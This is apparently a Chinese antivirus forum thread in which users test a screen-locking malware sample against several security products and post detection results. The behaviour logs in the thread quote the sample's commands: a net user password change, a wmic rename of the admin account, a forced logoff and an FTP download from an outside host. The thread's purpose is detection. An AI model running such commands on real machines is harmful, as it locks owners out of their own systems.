最新免杀锁机病毒样本 360杀毒已查杀

623569

最新锁机病毒样本 360杀毒右键扫描 miss
这只是一个测试样本，开机密码 123456
欢迎大家测试



调用命令行实现锁机

星猫

文件名: 锁机病毒测试样本 hack tools 软件共享群 536951135.exe
威胁名称: Heur.AdvML.B完整路径: c:\users\zwh\downloads\锁机病毒测试样本\锁机病毒测试样本 hack tools 软件共享群 536951135.exe

____________________________

____________________________


在电脑上 
2017/1/15 ( 11:55:29 )

上次使用时间 
2017/1/15 ( 11:57:29 )

启动项 
否

已启动 
否

威胁类型: 启发式病毒。 根据恶意软件启发式技术检测威胁。

____________________________


锁机病毒测试样本 hack tools 软件共享群 536951135.exe 威胁名称: Heur.AdvML.B
定位


极少用户信任的文件
Norton 社区中有 不到 5 名用户使用了此文件。

极新的文件
该文件已在 不到 1 周 前发行。

高
此文件具有高风险。


____________________________


https://att.kafan.cn/forum.php?mo ... DYyMjUxNHwyMDczNDAz
已下载文件 从 att.kafan.cn
来源: 外部介质

锁机病毒测试样本 hack tools 软件共享群 536951135.exe

____________________________

文件操作

文件: c:\users\zwh\downloads\锁机病毒测试样本\ 锁机病毒测试样本 hack tools 软件共享群 536951135.exe 已删除
____________________________


文件指纹 - SHA:
d9e83856839b5db906e74c0cdf4e8d3840b5f1bb513309610f3498710b2bc462
文件指纹 - MD5:
不可用

784696777

卡巴miss，双击注销

623569

哈勃分析系统检测报毒

壳或编译器信息：

PACKER:UPX V2.00-V3.00 -> Markus Oberhumer & Laszlo Molnar & John Reiser * （upx壳）

行为描述：	修改用户密码
详情信息：	ImagePath = , CmdLine = cmd.exe /c net user "Administrator" "123456"
行为描述：	关机或重启
详情信息：	N/A
行为描述：	设置特殊文件属性
详情信息：	C:\WINDOWS\SkinH_EL.dll
行为描述：	修改用户名
详情信息：	ImagePath = , CmdLine = cmd.exe /c wmic useraccount where name="Administrator" call Rename "hack tools 软件共享群 536951135测试样本 密码：123456"
行为描述：	设置特殊文件夹属性
详情信息：	C:\WINDOWS\ME C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5 C:\Documents and Settings\Administrator\Local Settings\History C:\Documents and Settings\Administrator\Local Settings\History\History.IE5 C:\Documents and Settings\Administrator\Cookies

vm001

测试360行为



拦截后报毒

623569

vm001 发表于 2017-1-15 12:15
-----------------------------------------------------------------

为什么我看不了图片

360杀毒已可查杀此样本，多谢大家对我的支持
共同为网络安全奉献出自己的力量！

学雷锋做人

能有多牛逼啊
[mw_shl_code=css,true]12:27:09(1)：(阻止)加载全局钩子：2(钩子型号)     钩子地址：1952972800

12:27:09(2)：(阻止)加载全局钩子：7(钩子型号)     钩子地址：1952972800

12:27:18(3)：(自动允许)访问其他进程：1984(进程PID)     进程句柄：92     获取权限：2035711

12:27:18(4)：(安全环境)创建\打开文件：C:\WINDOWS\SkinH_EL.dll

12:27:18(5)：(阻止)设置文件属性：C:\WINDOWS\SkinH_EL.dll

12:27:18(6)：(阻止)删除注册表键：HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD

12:27:18(7)：(阻止)创建进程：cmd.exe /c net user "Administrator" "123456"

12:27:18(8)：(阻止)创建进程：cmd.exe /c wmic useraccount where name='Administrator' call Rename "hack tools 软件共享群 536951135测试样本 密码：123456"

12:27:18(9)：(阻止)写注册表值：hack tools 软件共享群 536951135测试样本 密码：123456

12:27:18(10)：(阻止)创建进程：cmd.exe /c net user "hack tools 软件共享群 536951135测试样本 密码：123456" "123456"

12:27:18(11)：(阻止)创建\打开注册表项：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Hints\hack tools 软件共享群 536951135测试样本 密码：123456

12:27:18(12)：(阻止)下载文件：ftp://money8:12345678@ftp.free3v.net/88.txt     保存目录：C:\Windows\1.txt

12:27:18(13)：(自动允许)访问其他进程：1984(进程PID)     进程句柄：428     获取权限：2035711

12:27:22(14)：(自动允许)访问其他进程：1984(进程PID)     进程句柄：420     获取权限：2035711

12:27:22(15)：(安全环境)创建文件目录：C:\WINDOWS\ME

12:27:24(16)：(安全环境)创建\打开文件：C:\WINDOWS\ME\梦魇模块.ico

12:27:24(17)：(安全环境)创建\打开文件：C:\WINDOWS\ME\梦魇源码.ico

12:27:24(18)：(阻止)设置文件属性：C:\WINDOWS\ME

12:27:24(19)：(阻止)设置文件属性：C:\WINDOWS\ME\梦魇模块.ico

12:27:24(20)：(阻止)设置文件属性：C:\WINDOWS\ME\梦魇源码.ico

12:27:24(21)：(阻止)创建\打开注册表项：HKEY_CLASSES_ROOT\.ec\DefaultIcon

12:27:24(22)：(阻止)创建\打开注册表项：HKEY_CLASSES_ROOT\E.Document\DefaultIcon

12:27:24(23)：(自动允许)访问其他进程：1984(进程PID)     进程句柄：420     获取权限：2035711

12:27:30(24)：(安全环境)删除文件：C:\Documents and Settings\Administrator\桌面\File_safe\TempWmicBatchFile.bat

12:27:30(25)：(阻止)执行系统操作：强制注销系统[/mw_shl_code]

mfj0613

火绒扫描杀
病毒详情
威胁路径：D:\锁机病毒测试样本 hack tools 软件共享群 536951135.exe.rar >> 锁机病毒测试样本 hack tools 软件共享群 536951135.exe, 病毒名：Ransom/Adduser.b, 病毒ID：[c718b6c46a14f08f], 处理结果：已处理

linzh

时间;扫描程序;对象类型;对象;威胁;操作;用户;信息;哈希;此处首次所见
ESET
2017/1/14 23:34:12;文件系统实时防护;文件;C:\Users\linzh\Desktop\锁机病毒测试样本\锁机病毒测试样本 hack tools 软件共享群 536951135.exe;Win32/Disabler.NBU 特洛伊木马 的变种;通过删除清除;LINZH-NOTEBOOK\linzh;在应用程序新建的文件上发生事件: C:\Program Files\WinRAR\WinRAR.exe (ADD0B2FF92CE12DDBD58324FEBD3B09F43FA1A01).;6A1C037EDADC7034F0D7FD5BEDBEC1555900FB93;2017/1/14 23:34:11

Virus4

哈哈，WD云杀。应该有所谓的“第一个”
Trojan:Win32/Spursint.A!cl